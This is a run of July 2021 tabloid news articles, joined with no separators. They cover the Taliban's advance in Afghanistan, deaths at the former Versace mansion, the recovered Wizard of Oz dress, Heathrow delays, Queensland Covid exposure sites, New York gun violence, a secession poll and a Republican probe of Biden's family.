aid. Biden has insisted, however, that it is time for U.S. involvement in the war to end and for Afghans to chart their own future. Advertisement

'And no person - especially the youths - can wear red and green clothes,' he said, referring to the colours of the Afghan flag.

Their orders didn't stop there.

'Everybody should wear a turban and no man can shave,' said Mohammad.

'Girls attending schools beyond sixth grade were barred from classes.'

The Taliban insist they will protect human rights - particularly those of women - but only according to 'Islamic values', which are interpreted differently across the Muslim world.

For Sajeda on the Tajikistan border, just a few days of Taliban rule was enough - and she fled south to the nearby city of Kunduz.

'We will never be able to work in areas under the Taliban,' she said, 'So, we left'.

It comes as the Taliban said on Wednesday they had captured the strategic border crossing of Spin Boldak, continuing their sweeping gains.

The situation on the ground could not immediately be verified, but social media was abuzz with pictures of Taliban fighters looking relaxed in what appeared to be the frontier town.

The taking of Spin Boldak would be the latest in a string of border crossings and dry ports seized by the Taliban in recent weeks, with the insurgents looking to choke off much-needed revenue from the government in Kabul while also filling their own coffers.

Its seizure follows days of heavy fighting across Kandahar province, where the government was forced to deploy commando fighters to prevent the fall of the provincial capital even as the insurgents inched closer to taking the frontier crossing.

In a statement, Mujahid, the insurgent spokesman, assured traders and residents there that their 'security is guaranteed'.

But Afghan officials insisted they still had control.

'The terrorist Taliban had some movements near the border area... The security forces have repelled the attack,' interior ministry spokesman Tareq Arian told AFP.

Residents disputed the government's claims.

'I went to my shop this morning and saw that the Taliban are everywhere. They are in the bazaar, in police HQ and custom areas. I can also hear the sound of fighting nearby,' said Raz Mohammad, a shopkeeper who works near the border.

The border crossing is one of the most strategically valuable for the Taliban.

It provides direct access to Pakistan's Balochistan province - where the insurgents' top leadership has been based for decades - along with an unknown number of reserve fighters who regularly enter Afghanistan to help bolster their ranks.

Afghan government forces have taken over defence of the country following the retreat of US and NATO forces, but are struggling to retain control (file image)

Hours after the crossing fell, an AFP reporter on the Pakistani side saw around 150 Taliban fighters riding on motorcycles, waving insurgent flags, as they demanded to be allowed to cross into Afghanistan.

Balochistan is a favoured destination for fighters regularly heading for medical treatment and hosts many of their families.

A major highway leading from the border connects to Pakistan's commercial capital Karachi and its sprawling port on the Arabian Sea, which is considered a linchpin for Afghanistan's billion-dollar heroin trade that has provided a crucial source of revenue for the Taliban's war chest over the years.

Meanwhile on Tuesday, video emerged purporting to show the moment 22 Afghan commandos were massacred by the Taliban moments after they surrendered.

The footage appears to have been taken in Dawlat Abad on June 16 following a major battle between the Taliban and Afghan forces.

The government had sent an elite team of US-trained commandos - including the son of a retired general - into the town to recapture it, but they quickly became surrounded with air support and reinforcements failing to materialise.

Disturbing footage has emerged purporting to show the moment 22 Afghan commandos were massacred in the town of Dawlat Abad on June 16 while surrendering to the Taliban

Footage shows unarmed soldiers with their arms raised being marched into the street before men with rifles open fire while shouting 'Allahu Akbar'

Militants say the commandos were captured after running out of ammunition, but witness accounts from the time and the new footage suggests they were actually gunned down in cold blood.

In the video, which was first shared with veterans network Funker530 last week, men holding weapons can be seen ushering a group of soldiers into a public square.

The soldiers are unarmed and many of them have their arms raised, as their captors yell at them and a couple are forced to kneel on the ground.

'Don't shoot them, don't shoot them, I beg you don't shoot them,' someone says in the local Pashto language, according to translation by CNN.

Moments later, to shouts of 'Allahu Akbar', the captors open fire - unleashing a volley of bullets that starts with two gunshots and ends in dozens of rounds being fired.

A second piece of footage then shows bodies strewn across the ground, as men holding rifles strip them of their equipment.
Two men were found dead in a hotel room at the former Versace Mansion in Miami Beach on Wednesday afternoon, nearly 24 years to the day after the famed Italian fashion designer was assassinated by a serial killer at his palatial beachfront home.

A housekeeper at the luxury $1,200-a-night Villa Casa Casuarina Hotel on Ocean Drive called 911 at around 1.20pm to summon police after making the grim discovery inside one of the rooms.

First responders with Miami Beach Fire Rescue pronounced the two men dead at the scene, reported Local10. No additional information has been released on the deceased.

Police are seen on the scene at the former Versace Mansion in Miami Beach, where two men were found shot dead in a hotel room Wednesday

Police said the scene was contained to one room at the Villa Casa Casuarina Hotel on Ocean Drive, formerly the home of world-renowned fashion designer Gianni Versace

The incident comes on the eve of the 24th anniversary of Versace's assassination, which took place on the front steps of his mansion on July 15, 1997 (pictured)

The Miami Beach Police Department tweeted less than an hour later that the scene was contained to one room and detectives have launched a 'death investigation.'

WSVN reported, citing police sources, that the men died from gunshot wounds.

The fatal incident comes on the eve of the 24th anniversary of Gianni Versace's gruesome murder at the hands of Andrew Cunanan.

The 27-year-old Cunanan, a former male prostitute-turned-serial killer, shot and killed the 50-year-old renowned couturier on the front steps of his gilded mansion on July 15, 1997.

Curious tourists pose every day for pictures outside the imposing wrought-iron gate where Versace was shot twice in the head.

Eight days after the assassination, Cunanan, who also was wanted for the murders of four other men, killed himself with the same gun he used to slay Versace.

First responders who were called to the scene on Wednesday pronounced the two men dead

Versace, 50 (left), was killed with two bullets to the head by serial killer Andrew Cunanan, 27 (right), who later committed suicide

Versace's blood and a pair of flip-flops are seen on the coral steps outside his mansion where he collapsed after being shot

Versace's murder shocked the world and has been drawing throngs of tourists to the site of his slaying ever since

Versace's funeral in Milan, Italy, was attended by the likes of fellow fashion icon Giorgio Armani, Sir Elton John and Princess Diana, who would be killed in a car crash in a Paris tunnel just a month later.

Versace had lived in the mansion part-time for five years leading up to his death after purchasing it in 1992 and spending $33million on renovations.

The 23,000-square foot property, which was built in 1930 by a Standard Oil heir, was sold in 2013 to VM South Beach for $41.5million and was reopened the following year as a high-end 10-suite boutique hotel, which boasts 54-foot 'thousand mosaic' swimming pool lined in 24-carat gold that was designed by Versace himself.

The mansion was converted into a boutique hotel in 2014, boasting this 54-foot 'thousand mosaic' swimming pool lined in 24-carat gold, which was designed by Versace himself

An ornate four-poster bed is pictured in one of the hotel's 10 bedrooms

Since its opening, the hotel has been drawing a steady stream of wealthy celebrity clientele, including Kim Kardashian and Justin Bieber, who in 2018 spent an eye-popping $50,000 on a two-night stay.

Single suites at the Mediterranean-style hotel typically range between $749-$1199 per night.

Versace's murder, which shocked the world, was the subject of Season 2 of American Crime Story, starring Edgar Ramirez as the ill-fated designer, which premiered on FX in January 2018.
A staff member at Catholic University found a long-lost staple of Hollywood history in the schools drama department building: the iconic blue-and-white gingham dress Judy Garland wore as Dorothy Gale in The Wizard of Oz.

For nearly 50 years, staff and students at the Washington, D.C., university have been searching for the famed dress, which was gifted to the schools drama department in 1973, then disappeared soon after.

Matt Ripa, a department lecturer and operations coordinator, told the Washington Post that he has been interested in finding the dress from the 1939 film since he began his tenure at the school in 2014.

But on June 7, Ripa was cleaning out the schools Hartke building to prepare for renovations when he found the dress wrapped in a trash bag. It was tucked on top of the faculty mail slots with a note that said, I found this.

A staff member at Catholic University was going through the school's drama department building when he found the iconic blue-and-white checked gingham dress Judy Garland wore as Dorothy Gale in the 1939 film The Wizard of Oz

For nearly 50 years, staff and students at the Washington university have been searching for the famed dress, which was gifted to the schools drama department in 1973

In a statement published in the University Archives blog, Ripa said, 'I was curious what was inside and opened the trash bag and inside was a shoebox and inside the shoebox was the dress. I couldnt believe it.'

The note on the dress came from Thomas Donahue, a retired drama professor who discovered it in the department chairs office and knew Ripa had been hoping to find it for years.

Ripa added in the blog post, 'Needless to say, I have found many interesting things in Hartke during my time at Catholic University, but I think this one takes the cake!'

The building is named after the Rev. Gilbert Hartke, the drama department head to whom the dress was first given in 1973. Actress Mercedes McCambridge donated it when she was an artist-in-residence at the university, according to the schools blog post.

Actress Mercedes McCambridge (left) donated the dress to the Rev. Gilbert Hartke, head of the drama department, (right) when she was an artist-in-residence at the university

The university wrote in a blog that no one knows how Mercedes McCambridge got the dress, but that she was a Hollywood contemporary of Judy Garlands and that they were supposedly friends

McCambridge is known for winning the Academy Award for Best Supporting Actress in the 1949 film All the Kings Men. She was nominated for the same award for the 1956 film Giant and voiced Pazuzu, the demon from the 1973 horror classic The Exorcist.

When she made the donation almost 50 years ago, the universitys independent newspaper, The Tower, wrote that it was meant to be a source of 'hope, strength, and courage' for students.

The piece detailed Garlands allegations of sexual harassment on the set of the film and her struggle with eating disorders and addiction. She died of an accidental overdose just a few years before McCambridge donated the dress to Hartke.

Garland, 'the lonely, tired entertainer, often spoke of college and how it all could have been different if she had made it there,' the story said, adding that McCambridge and Garland were close friends.

Still, the question remained for Ripa when he found the dress. Is it the real deal?

Maria Mazzenga, the curator of the universitys American Catholic History Collections, wrote in a University Archives blog post, As archivists, we were obliged to work on gaining additional documentation for this popular culture national treasure . . . We do not yet know how Mercedes McCambridge got the dress, though we do know she was a Hollywood contemporary of Judy Garlands and that they were supposedly friends. McCambridge was friends with many luminaries in the film and radio industry

Mazzenga added that she reached out to experts in cultural memorabilia at the Smithsonians National Museum of American History. The museum has several artifacts from the set of The Wizard of Oz, including Dorothys ruby slippers, the Scarecrow costume worn by Ray Bolger and an original screenplay based on L. Frank Baums 1900 book.

The dress had significant verifiable components, including 'Judy Garland' written by hand by someone on the films wardrobe department

The dress is now being stored in a temperature- and humidity-controlled room in the Universitys Special Collections

Smithsonian Curator Ryan Lintelman, and colleagues Dawn Wallace, objects conservator, and senior costume conservator Sunae Park Evans, visited Catholic University to assess the dress.

Employees at the museum are not authorized to authenticate objects like this one, but they suggested it was consistent with other objects from the film.

A Smithsonian Magazine article reported how Lintelman explained that there were many dresses said to be worn by Garland on the set of the film. Only five have been verified as most likely authentic. The one at Catholic University is mostly likely authentic, Lintelman and his colleagues determined, but they would not say definitively.

Lintelman noted that it is actually two pieces of clothing. The first layer is a thin cotton blouse with bunched sleeves and blue ric-rac tape trim at its collar. The blue and white checked gingham pinafore dress is worn over it.

The dress had significant verifiable components, including a secret pocket on the right side for Dorothys handkerchief and 'Judy Garland' written by hand by someone on the films wardrobe department. The dress also could be deemed authentic if it had tears in the blouse as the material was prone to ripping when Garland took it off after a long day of filming.

Lintelman added that artifacts from the film 'held great meaning for people ever since 1939. Whether inspiring young women to pursue their dreams, galvanizing community for gay men who identified as friends of Dorothy in the 1970s, sparking opportunities for more representative cinema with films like The Wiz, or even just seeding happy memories for so many Americans.'

The dress is now being stored in a temperature- and humidity-controlled room in the Universitys Special Collections.
British Airways is urging travellers to consider dropping off their luggage the day before flying after chaotic scenes at Heathrow Airport due to staff shortages.

The UKs flagship carrier is sending reminders to customers that the airports Terminal 5 will be busy and that they may want to check-in their bags the night before they fly.

On Monday travellers described scenes of total chaos as dozens of security staff failed to show for work because they were pinged and told to self-isolate by the NHS app.

Passengers at Heathrow Airport have faced significant delays due to staff shortages

British Airways is advising passengers to drop their luggage at Heathrow Airport the night they are due to travel to avoid potential delays

Large numbers of staff at Heathrow Airport have been forced to self isolate after being pinged by the NHS Covid-19 app

Travellers reported only two security lanes being open at one point for thousands of travellers.

Images and video were posted on social media showing travellers packed into Terminal 5 with little social distancing as they waited to get through security.

It meant dozens of flights were delayed and some passengers missed their flights.

BA is now urging travellers to consider dropping off their bags at Terminal 5 between the hours of 4pm and 9pm the night before if they are due to fly before 1pm the next day.

The message being sent by text and email to customers reads: The airport will be busy when you fly.

To save time and avoid long queues, you can check in your bag the day before you fly from 16:00 - 21:00 at London Heathrow T5.

You can also check-in hand baggage free of charge.

The chaos at Heathrow on Monday morning affected flights between 7am and 1pm, with the airport drafting in extra staff and insisting the problem had been fixed by the afternoon.

However, with further security staff subject to being pinged and having to self-isolate, travellers are being urged to arrive at the airport several hours before they are due to take off.

A BA spokesman said: We are pleased to offer our long-standing twilight check-in service for customers to enable them to start their journey as relaxed as possible.
Queensland Health has listed seven new coronavirus exposure sites in Brisbane after being tipped off by an unnamed country that a Covid-positive person had been moving around the city while infected.

A public health alert was issued for new sites at North Ipswich, Inala and at the Brisbane Airport.

'Queensland Health has been notified by another country that a positive COVID-19 case detected overseas had been in the community prior to departure,' Queensland Health said in an alert issued on Wednesday evening.

It was not known how a case that was detected overseas could have escaped quarantine safety nets in Queensland.

A public health alert has been issued for new contact tracing sites at North Ipswich, Inala and at the Brisbane Airport (pictured)

Queensland Health has listed seven new coronavirus exposure sites in Brisbane

NEW QLD EXPOSURE SITES Riverlink shopping centre in North Ipswich - between 12.24pm and 1.10pm on July 9 - Kmart - Vodaphone - Telstra - JB Hi-Fi Club Services Ipswich - between 1.15pm and 2.15pm on July 9 Chac's Grill Inala - between 7pm and 8pm on July 9 Brisbane Airport international terminal, Level 3 departures toilet - between 9.45pm and 10.15om on July 9 Advertisement

Queensland Health said it could not provide any further detail, and there might be a media conference about the matter on Thursday.

The new sites include Kmart, Vodaphone, Telstra and JB Hi-Fi outlets at the Riverlink shopping centre in North Ipswich between about 12.24pm and 1.10pm on Friday, July 9.

The alert also lists the Brisbane Airport international terminal 'Level 3 departures, toilets in hallway near newsagency' on the same day, between 9.45pm and 10.15pm.

Club Services Ipswich between 1.15pm and 2.15pm that day, and Chac's Grill at Inala between 7pm and 8pm that same evening are too listed.

Earlier on Wednesday, the Queensland government said it would keep the NSW border open, saying the Greater Sydney lockdown was containing the city's COVID-19 outbreak.

Deputy Premier Steven Miles said authorities were closely monitoring the situation, but there was no evidence of virus cases or positive sewage testing results north of Sydney.

'Pleasingly the ongoing monitoring of sewage indicates that the outbreak there is largely contained to Greater Sydney, meaning that the restrictions in place in Greater Sydney may mean that we don't yet need to put in place greater border restrictions here,' he told reporters on Wednesday.

he new sites include Kmart, Vodaphone, Telstra and JB Hi-Fi outlets at the Riverlink shopping centre in North Ipswich (pictured)

Queensland recorded one new case of Covid-19 detected in hotel quarantine on Monday. Pictured: Club Services Ipswich, which is now an exposure site

Victoria, South Australia and Western Australia have already closed their borders to NSW, but Queensland is only restricting entry for travellers from Greater Sydney.

Mr Miles said while Sydney's lockdown is containing the outbreak for now, lifting restrictions there too early could cause Queensland to impose a hard border with NSW.

'Obviously if NSW opted to lift those lockdown restrictions, well then we would need to reconsider,' he said.

On Tuesday, Annastacia Palaszczuk told residents in NSW to return home while they still can.

Victoria, South Australia and Western Australia have already closed their borders to NSW. Pictured: People at Brisbane Airport

She was direct with residents who are south of the border, saying she's dealing with a volatile situation that could see Queenslanders shut out if the virus spreads.

Sydney residents have been told there's next to no chance their lockdown will end as scheduled on Friday.

The state had 112 new local COVID-19 cases on Monday - the highest number since the current outbreak began. At least 46 of those cases were out in the community while they were infectious.

Ms Palaszczuk says she will do what's necessary to keep Queenslanders safe and there are extensive discussions every day with health authorities in NSW.

Ms Palaszczuk urged Queenslanders in other states, like NSW and Victoria, to 'come home'. Pictured: People at Brisbane Airport

'My message to Queenslanders is if you are in those areas, come home. I can't be any clearer,' she said on Monday.

Chief Health Officer Jeannette Young said any spread of the virus outside the Greater Sydney lockdown area would be extremely worrying.

As the NSW situation worsens, Queenslanders had been preparing for an easing of restrictions that were introduced last month after simultaneous clusters emerged.

Queensland's optimism had killed off community transmission has seen the state welcomed back into the trans-Tasman bubble.

'The health risk from Queensland is now low,' NZ Prime Minister Jacinda Ardern previously said, as she announced quarantine-free travel from Queensland would resume at 11.59pm no Monday.

It is not clear whether the travel bubble has now been put on hold.

Queensland is optimistic that it has killed community transmission and has welcomed back into the trans-Tasman bubble. Pictured: People at Brisbane International Airport

Meanwhile, the Queensland premier has defended a deal that will allow the NRL to move 12 clubs to southeast Queensland for the next two months, so the competition can continue.

The agreement will allow players to bring their families with them, something Ms Palaszczuk said would not pose a risk because the clubs will have exclusive use of three hotels.

'They will be in their distinct hubs. It's up to the NRL to police that, but we'll be monitoring that very closely as well,' the premier said.

Queensland has also snagged the third State of Origin match from Newcastle due to NSW's ongoing health crisis.

Ms Palaszczuk said the game didn't cost Queensland taxpayers a cent, but Gold Coast mayor Tom Tate has said the council had 'skin in the game' to secure the match but did not say how much.

He hopes it will provide a boost for hotels and hospitality venues hit by a snap, three-day lockdown just as school holidays began a fortnight ago.

Queensland is expecting a quiet day or so ahead on the vaccination front, with Health Minister Yvette D'Ath saying the state has very limited stocks, and they're being reserved for people who need second doses.

But 64,500 doses are due to arrive on Tuesday, and 62,000 on Thursday, which should allow vaccination rates to ramp up again from Wednesday onwards.

Queensland recorded one new case of Covid-19 detected in hotel quarantine on Monday.
Mayor Bill de Blasio's spokesman claimed on Wednesday that a New York City business leader's concerns about gun violence in Times Square is 'insulting' to cops.

Business leaders near Times Square have ripped the de Blasio administration as they claim he has not taken 'immediate action' to stop the gun violence after a third shooting incident was reported in three weeks in the tourism hotspot.

Tom Harris, president of the Times Square Alliance, told the New York Daily News that the shootings have 'got to stop' and that the shooting incident on Wednesday was 'just the latest in an unacceptable cycle.'

'We cannot wait for a new mayor,' Harris said. 'The de Blasio administration needs to stop making excuses and develop effective strategies and take immediate action.'

He added: 'We need to refocus, reenergize, and support our police officers so they can do their jobs and prevent crimes.'

De Blasio's spokesman Bill Neidhardt slammed Harris in comments to the Daily News for criticizing the city's failure to stop the rising tide of crime in the Big Apple.

'Everyone wants to fight back against gun violence and stop these shootings,' Neidhardt said - adding that the NYPD has added more police to the area.

'What is not productive is Tom Harris insulting the police officers who have come from across the city to Times Square in a good faith effort.'

New York City's anti-crime mayoral candidate Eric Adams warned on Wednesday that 'no one is going to come back' if gun violence in the Big Apple continues

Adams, who won the Democratic primary for this year's mayoral race, appeared at an event with Andrew Cuomo as the two presented a united front in addressing rising crime

DailyMail.com has reached out to the mayor's office for comment.

New York City's anti-crime mayoral candidate Eric Adams warned on Wednesday that 'no one is going to come back' if gun violence in the Big Apple continues.

Adams, the Brooklyn borough president who won the Democratic primary for this year's mayoral race, appeared at an event with Andrew Cuomo on Wednesday as the two political leaders presented a united front in addressing the rising crime.

'No one is going to come back to our multibillion-dollar tourism industry if 3-year-olds are being shot in Times Square,' Adams said.

Adams, 60, ran on a largely anti-crime platform and will become the mayor of New York if he defeats Republican Curtis Silwa in the general election. The former NYPD police captain has even received praised from Fox News host Tucker Carlson.

Cuomo added to the praise on Wednesday while speaking at the Lenox Road Baptist Church - a stark contrast to his ongoing rivalry with current Mayor Bill de Blasio.

'Eric and I come from the same political philosophy,' Cuomo said, according to the New York Daily News.

'I think Eric Adams and I are going to work very well together. I believe, he believes, the same philosophy of government: it's not what you say, it's not about the politics, it's about performance.'

The politicians both said their main focuses for New York City will be public safety and economic recovery after the COVID-19 pandemic.

Mayor Bill de Blasio's spokesman claimed on Wednesday that a New York City business leader's concerns about gun violence in Times Square is 'insulting' to cops

Adams compared New York City's Washington Square Park to a San Francisco 'shantytown' after residents nearby have complained of drug use and loud raves after the park has closed.

'My son and I walk through the park oftentimes just to talk. Someone's sitting next to us, injecting themselves with heroin. Police [are] right there,' Adams said.

'There is just a sense that we have a city where any and everything goes.'

The mayoral candidate also ripped New York judges and bail reform laws for not doing their part to combat the rising crime rates.

He also said judges are not using tools they do have at their disposal like Kendra's Law which lets courts order mental health treatment in some cases.

'Our judges are not giving bail on cases where they are allowed to give bail. They're refusing to use Kendra's Law on mental health issues,' Adams said.

'We have thrown up our hands, and we have surrendered our city. It's time for us to ensure our city is for the working class, everyday people who are following the laws and saying that government is going to make sure we protect them.'

The politicians did not appear to address the latest shooting in Times Square, when a gunman allegedly shot at a motorcyclist in the early hours of Wednesday morning

Officers with the NYPD responded to calls reporting shots fired around 12:40 a.m. near 7th Ave. and 41st St. in Midtown

At least four shots were fired when the white Mercedes clipped a motorcyclist, 32, in the bus lane - leaving him with knee and elbow injuries

A friend of the motorcyclist, 22, confronted a group of men standing by the car when someone in the group started firing

Cuomo, 63, described gun violence as a 'major civil rights issue' while announcing the state will offer 4,000 summer jobs and full-time jobs with training for the city's youth in the hopes of providing an 'alternative' to gun violence, the Daily News reported.

Those efforts come after de Blasio already unveiled 75,000 jobs for city youth this summer, as noted by the Daily News.

The politicians did not appear to address the latest shooting in Times Square, when a gunman allegedly shot at a motorcyclist in the early hours of Wednesday morning.

Officers with the NYPD responded to calls reporting shots fired around 12:40 a.m. near 7th Ave. and 41st St. in Midtown, Freedom News TV reported. Nobody was injured in the shooting and no arrests have been made.

The shooting on Wednesday was the third shooting in New York City since May. Bystanders are pictured in Times Square after a shooting on June 27

Then, a U.S. Marine was injured in another shooting on June 27 when he was hit by a ricocheting bullet at W. 45th St. and Seventh Ave.

A man reportedly involved in the shooting said he was with a group on bikes who were cut off, he told the outlet off camera. The group went to 'have words' with the driver of the vehicle when at least one person shot at them.

At least four shots were fired when the white Mercedes clipped a motorcyclist, 32, in the bus lane - leaving him with knee and elbow injuries, NYPD officials told the New York Daily News.

A friend of the motorcyclist, 22, confronted a group of men standing by the car when someone in the group started firing, cops told the Daily News. The Mercedes then sped off as the alleged shooter fled on foot.

An NYPD spokesperson told DailyMail.com in a statement that the 22-year-old man has filed a police report for attempted assault.

'He was involved in a dispute with unknown individuals when one of the males displayed a black firearm and fired multiple shots in his direction. The reporter was not injured as a result,' the spokesperson said.

NYPD Commissioner Dermot Shea told NY1 on Wednesday that the Bronx has not had such high gun violence rates since the mid-1990s

An inforgraphic shows crime rates in New York City

The shooting incident marks the third time shots have rung out in Times Square since May 8 when two adults and a four-year-old girl named Skye Martinez were hit with stray bullets.

Farrakhan Muhammad, the alleged gunman, had reportedly started shooting over a street vendor 'turf war.' He allegedly fled the Big Apple after the shooting and was arrested days later in Florida.

Then a U.S. Marine was injured in another shooting on June 27 when he was hit by a ricocheting bullet at W. 45th St. and Seventh Ave., police said.

A breakdancer, 16-year-old Avon Darden, had allegedly tried to shoot a rival dancer when he hit Samuel Poulin, 21, in the back as he and his wife and family walked past.

The teen later handed himself over to cops at the Midtown South precinct station house accompanied by his mother.

Avon Darden, 16, handed himself over to cops at the Midtown South Precinct station house on Wednesday a whopping ten days after the shooting. He is pictured in surveillance footage while cops searched for him

Darden reportedly has been arrested for three felonies

Samuel Poulin, 21, was hit in the back by a ricocheting bullet as he walked with his family near the Marriott Hotel on W. 45th St. around 5:15 p.m. on June 27

Crime, particularly in the Bronx borough of New York City, has risen drastically when compared to last year.

NYPD Commissioner Dermot Shea told NY1 on Wednesday that the Bronx has not had such high gun violence rates since the mid-1990s.

'The Bronx is back to a level not seen since 1996,' Commissioner Shea said.

He added: 'We've had a bad run right now in the Bronx, specifically with gang violence involving young kids.'

Jaryan Elliot, 13, was shot dead around 3:15 p.m. on Sunday outside Angels Cafe in the Belmont neighborhood of the Bronx

A young member of the Crips who was shot dead in the Bronx during an escalating 'war' in which at least three teens have been killed.

Jaryan Elliot, 13, was shot dead around 3:15 p.m. on Sunday outside Angels Cafe in the Belmont neighborhood of the Bronx in revenge for the killing of rival gang member Tyquill Daugherty, 19, four days earlier, the New York Post reported.

Jaryan, who had just graduated from middle school, would have turned 14 on July 29. He had already been arrested eight times, including for robbery and assault, and had spent time at a juvenile detention center before his death.

A GoFundMe has since been started for Jaryan's mother to help her pay for the funeral after the young teen's death.

The young Crips member is pictured holding an apparent gun

Jaryan is believed to have been at the scene of Daugherty's shooting, though not the gunman, police sources told the New York Post.

Ramon Gil-Medrano, the third shooting victim, was shot dead about eight hours after Jaryan was killed in apparent retaliation for the young boy's death. Ramon, 16, was allegedly affiliated with the 800 YGz, or 'Young Gunnaz,' gang.

Police sources told the New York Post that Gil-Medrano was at the scene when Jaryan was shot dead but it was not immediately clear if he was the shooter.

NYPD data shows that murder rates are up 4.7% in 2021 compared to last year as of July 11. There have been 225 murders citywide this year compared to 215 last year.

Shooting victims are up 22.2% year over year, with 931 shooting incidents in 2021 compared to 762 in 2020 citywide by July 11, NYPD data shows. The number of shooting incidents has increased from 623 in 2020 to 803 in 2021, a 28.9% jump.

However, those rates are much starker when examined just for the Bronx borough of New York City.

Of those 225 murders in New York City this year, 69 of them were in the Bronx  making up a whopping 31% of all murders in the Big Apple. There were 49 murders in the borough last year, making up only 22% of all murders across the city by July 11, 2020.

The number of shooting victims in the Bronx specifically has jumped 64.8% year-over-year, from 193 shooting incidents in 2020 to 318 in 2021. That means about 42% of all shooting victims in New York City came from the Bronx this year.
A whopping two-thirds of Republicans in the South favor seceding from the United States while nearly half of Democrats in the Pacific region and almost 40 percent in the Northeast say the same, according to a new survey.

Support for secession is also considerable among independents in the Midwest and Great Lakes regions, where 43 percent say they would favor breaking away and forming their own country.

Half of independents in the South also favor secession while 43 percent of Republicans in the Rocky Mountain states share the same view.

The survey, which was conducted by Bright Line Watch, polled 2,750 respondents. The figures were published in the June 2021 edition of the Bright Line Watch Survey Wave 15 Dataset.

Overall, support for secession was highest in the South, where 44 percent said they favored breaking away from the Union.

The five new 'countries' which would be created if states were allowed to secede

A whopping two-thirds of Republicans in the South favor seceding from the United States while nearly half of Democrats in the Pacific region and almost 40 percent in the Northeast say the same, according to a new survey

The image above shows a man wearing a shirt with the Confederate symbol in Richmond, Virginia in August 2018

In the Northeast, about one in three (34 percent) favored secession. Nearly the same percentage of respondents - 32 percent - in the Mountain region favored secession.

Thirty percent of those surveyed from the Heartland also backed the idea, while 39 percent of those in the Pacific states said they, too, supported it.

The survey from June found that there was an increase across the board in the number of Americans who supported the idea of secession.

In January, just after President Joe Biden was sworn in, Bright Line Watch conducted a similar survey asking the same question.

It found that fewer Americans in each of the five designated regions supported secession.

In the Northeast, 32 percent of voters said they supported seceding from the US. In the South, it was just 33 percent - with half of Republicans backing the idea.

In the Heartland, less than one in four supported seceding while 28 percent of those in the Mountain region said the same.

In the Pacific, just one in three Americans backed the idea of secession.

If these regions did decide to theoretically secede, it would create five separate entities divided up by geographic closeness.

The Northeast region would encompass the stretch of territory beginning in Maine up north and extending downward to include Maryland and Delaware.

The survey from June found that there was an increase across the board in the number of Americans who supported the idea of secession. In January, just after President Joe Biden was sworn in, Bright Line Watch conducted a similar survey asking the same question. It found that fewer Americans in each of the five designated regions supported secession

To the west, the Heartland region would encompass Ohio, Michigan, Indiana, Wisconsin, Minnesota, Illinois, Missouri, Kansas, Nebraska, North Dakota, South Dakota, and Iowa.

The largest territory would be the South, which would stretch from Virginia in the northeast toward Texas. It would also encompass all of the states whose coastlines hug the Gulf of Mexico.

The Mountain states would encompass Montana, Idaho, Wyoming, Nevada, Utah, Colorado, Arizona, and New Mexico.

The Pacific region would include Oregon, Washington State, California, Alaska, and Hawaii.

The findings reflect just how politically polarized the country is - a trend that began in the 1990s and accelerated in recent years with the election of Donald Trump as president.

Though Biden took office vowing to heal the nations divisions, surveys appear to show the country just as divided as before.

In the last year, Republican lawmakers in Texas, Wyoming, Florida, Mississippi, and Michigan have raised the possibility of seceding from the Union.

When Trump was president, a survey of Democrat-leaning California found that 44 percent of those in the Golden State supported secession.

The last time a group of states tried to secede from the Union was more than 150 years ago - an event that triggered the American Civil War.

The issues leading up to the Civil War were complex, and many people in the North and South in 1861 viewed the conflict as inevitable.

In the South, slave labor was the foundation of an economy based on the cotton produced by plantations and farms.

The survey findings show that the country remains polarized along partisan lines. The image above shows supporters of President Trump breaching the US Capitol on January 6 in an effort to stop Congress from certifying Joe Biden's election victory

The free labor also was key to profiting from the production of such cash crops as tobacco, corn and other staples of the South.

In the North, farms were generally smaller because of the soil and climate.

With their more industrialized economy, the Northern states didnt require large numbers of slaves.

By the 1850s, the North vs. South divide was widening as free states and slave states debated over allowing slavery in new territories as the nation expanded westward.

Southerners viewed the Norths opposition to slaverys expansion as a threat to the economies - and thus the political power and rights - of slave-holding states.

Abraham Lincoln, opposed to slaverys expansion, was elected president in 1860 and the path to the Souths seceding from the Union was set. The South became known as the Confederate States of America, or the Confederacy.

Slavery was the root cause of the Civil War,' said Eric Foner, professor of history at Columbia University.

'It was not the only cause, but it was the underlying cause. There was a fundamental difference between the North and the South as the South feared for the future of slavery.'

After four years and more than 600,000 soldiers dead, Confederate General Robert E. Lee surrendered on April 9, 1865, at the village of Appomattox Court House in Virginia.
House Republicans on Wednesday launched a probe of President Biden's family members, demanding answers from the White House on their efforts to 'profit from proximity' to power.

It follows reports that Hunter Biden's newfound art career could see him pocket as much as $500,000 for a painting.

Republicans on the House Oversight Committee accused the president son, brother Frank and sister Valerie of using Biden's position to line their own pockets.

'Reports regarding President Bidens family members attempting to profit from their proximity to the White House have been disturbing and recurring,' wrote Ranking Member James Comer and the Republican lawmakers.

'Unfortunately, these reports of President Biden using his former official positions of public trust to swell the coffers of his family members are widespread, and any hope the pattern of family self-dealing would finally stop when he assumed the presidency has been dashed.'

House Republicans on the oversight committee have written to the White House and the National Archives asking for documents and communications about Biden family business interests. They say their concerns were triggered by Hunter Biden's newfound art career that promises lucrative returns

'Self Portrait; by Hunter Biden. Some art experts say his large oil paintings could sell for as much as $500,000, triggering a fresh ethics row

Republicans have also raised questions about Biden's sister, Valerie Biden Owens, and her deal to write a memoir. 'This pattern - which appears to be nothing short of a cash-grab - continues beyond President Bidens children,' they wrote

House Republicans asked for documents relating to Hunter Biden's artwork, a list of past and ongoing foreign business interests of members of the Biden family, a list of their speaking engagements, and any policies designed to ensure they do not profit from the presidency

Details of the letters, sent to the White House Counsels Office and the National Archives and Records Administration, were first reported by Fox News.

The White House has come under pressure to explain how it intends to ensure that buyers of Hunter Biden's paintings do not get special favors from the administration.

'After careful consideration, a system has been established that allows for Hunter Biden to work in his profession within reasonable safeguards,' said White House press secretary Jen Psaki last week.

'Of course, he has the right to pursue an artistic career just like any child of a president has the right to pursue a career.'

The eyewatering prices have also raised questions about whether 51-year-old Hunter Biden's new career meant he was profiting off his name

Art dealer Georges Berges is planning to host a private viewing of Biden's art in Los Angeles in the fall, with a New York exhibition to follow.

Berges told Artnet the prices would start at $75,000 for works on paper.

'The prices for these paintingsby someone with no formal training or history as an artist - raise questions about whether the art is being offered for its merit or its connection to the White House,' wrote the Republicans.

They also pointed the finger at a recent book deal for Biden's sister.

'This pattern - which appears to be nothing short of a cash-grab - continues beyond President Bidens children. Just last week, it was reported that Valerie Biden Owens, the Presidents "sister, confidante, and longtime political strategist, will publish a book presumably detailing her time as The Joe Biden Whisperer.'

'Growing Up Biden: A Memoir' is due to be published by Celador Books next year.

